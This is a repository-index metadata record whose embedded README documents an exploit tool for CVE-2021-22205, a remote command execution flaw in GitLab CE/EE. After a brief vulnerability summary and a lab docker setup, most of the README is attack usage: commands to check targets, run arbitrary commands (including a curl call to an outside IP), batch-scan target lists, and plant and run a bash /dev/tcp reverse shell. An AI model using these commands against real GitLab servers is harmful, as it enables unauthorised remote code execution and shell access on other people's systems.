{"id":13845477,"url":"https://github.com/Al1ex/CVE-2021-22205","last_synced_at":"2025-07-12T02:31:34.313Z","repository":{"id":40608324,"uuid":"422441947","full_name":"Al1ex/CVE-2021-22205","owner":"Al1ex","description":"CVE-2021-22205\u0026 GitLab CE/EE RCE","archived":false,"fork":false,"pushed_at":"2022-11-16T08:14:33.000Z","size":617,"stargazers_count":261,"open_issues_count":1,"forks_count":100,"subscribers_count":2,"default_branch":"main","last_synced_at":"2024-08-05T17:44:37.516Z","etag":null,"topics":["cve-2021-22205"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Al1ex.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2021-10-29T04:30:45.000Z","updated_at":"2024-07-23T09:38:43.000Z","dependencies_parsed_at":"2023-01-23T03:46:09.225Z","dependency_job_id":null,"html_url":"https://github.com/Al1ex/CVE-2021-22205","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2021-22205","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2021-22205/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2021-22205/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FCVE-2021-22205/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Al1ex","download_url":"https://codeload.github.com/Al1ex/CVE-2021-22205/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225784601,"owners_count":17523676,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2021-22205"],"created_at":"2024-08-04T17:03:25.572Z","updated_at":"2024-11-21T18:31:54.731Z","avatar_url":"https://github.com/Al1ex.png","language":"Python","funding_links":[],"categories":["Python"],"sub_categories":[],"readme":"### Vuln Impact\r\n\r\nAn issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.\r\n\r\n### Vuln Product\r\n\r\n- Gitlab CE/EE \u003c 13.10.3\r\n- Gitlab CE/EE \u003c 13.9.6\r\n- Gitlab CE/EE \u003c 13.8.8\r\n\r\n### Environment\r\n\r\n```C\r\nexport GITLAB_HOME=/srv/gitlab\r\n\r\nsudo docker run --detach \\\r\n  --hostname gitlab.example.com \\\r\n  --publish 443:443 --publish 80:80 \\\r\n  --name gitlab \\\r\n  --restart always \\\r\n  --volume $GITLAB_HOME/config:/etc/gitlab \\\r\n  --volume $GITLAB_HOME/logs:/var/log/gitlab \\\r\n  --volume $GITLAB_HOME/data:/var/opt/gitlab \\\r\n  gitlab/gitlab-ce:13.9.1-ce.0\r\n```\r\n\r\n### Vunl Check\r\n\r\n##### Basic usage\r\n\r\n```c\r\npython3 CVE-2021-2205.py\r\n```\r\n\r\n![img](img/usage.png)\r\n\r\n##### Vuln check\r\n\r\n```c\r\npython3 CVE-2021-2205.py -v true -t http://gitlab.example.com\r\n```\r\n\r\n![img](img/check.png)\r\n\r\n##### command execute\r\n\r\n```c\r\npython3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c \"curl http://192.168.59.1:1234/1.txt\"\r\n```\r\n\r\n![attack](img/attack.png)\r\n\r\n```c\r\npython3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c \"echo 'Attacked by Al1ex!!!' \u003e /tmp/1.txt\"\r\n```\r\n\r\n![attack_command1](img/attack_command1.png)\r\n\r\n![attack_command2](img/attack_command2.png)\r\n\r\n##### batch scan\r\n\r\n```\r\npython3 CVE-2021-2205.py -s true -f target.txt\r\n```\r\n\r\n![scan_result](img/scan_result.png)\r\n\r\n##### Reserve Shell\r\n\r\n```\r\npython3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c \"echo 'bash -i \u003e\u0026 /dev/tcp/ip/port 0\u003e\u00261' \u003e /tmp/1.sh\"\r\n```\r\n\r\n![reverse_shell1](img/reverse_shell1.png)\r\n\r\n![reverse_shell2](img/reverse_shell2.png)\r\n\r\n```\r\npython3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c \"chmod +x /tmp/1.sh\"\r\n```\r\n\r\n![reverse_shell3](img/reverse_shell3.png)\r\n\r\n![reverse_shell4](img/reverse_shell4.png)\r\n\r\n```\r\npython3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c \"/bin/bahs /tmp/1.sh\"\r\n```\r\n\r\n![reverse_shell5](img/reverse_shell5.png)\r\n\r\n### Reference\r\n\r\nhttps://github.com/mr-r3bot/Gitlab-CVE-2021-22205\r\n\r\nhttps://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FAl1ex%2FCVE-2021-22205","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FAl1ex%2FCVE-2021-22205","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FAl1ex%2FCVE-2021-22205/lists"}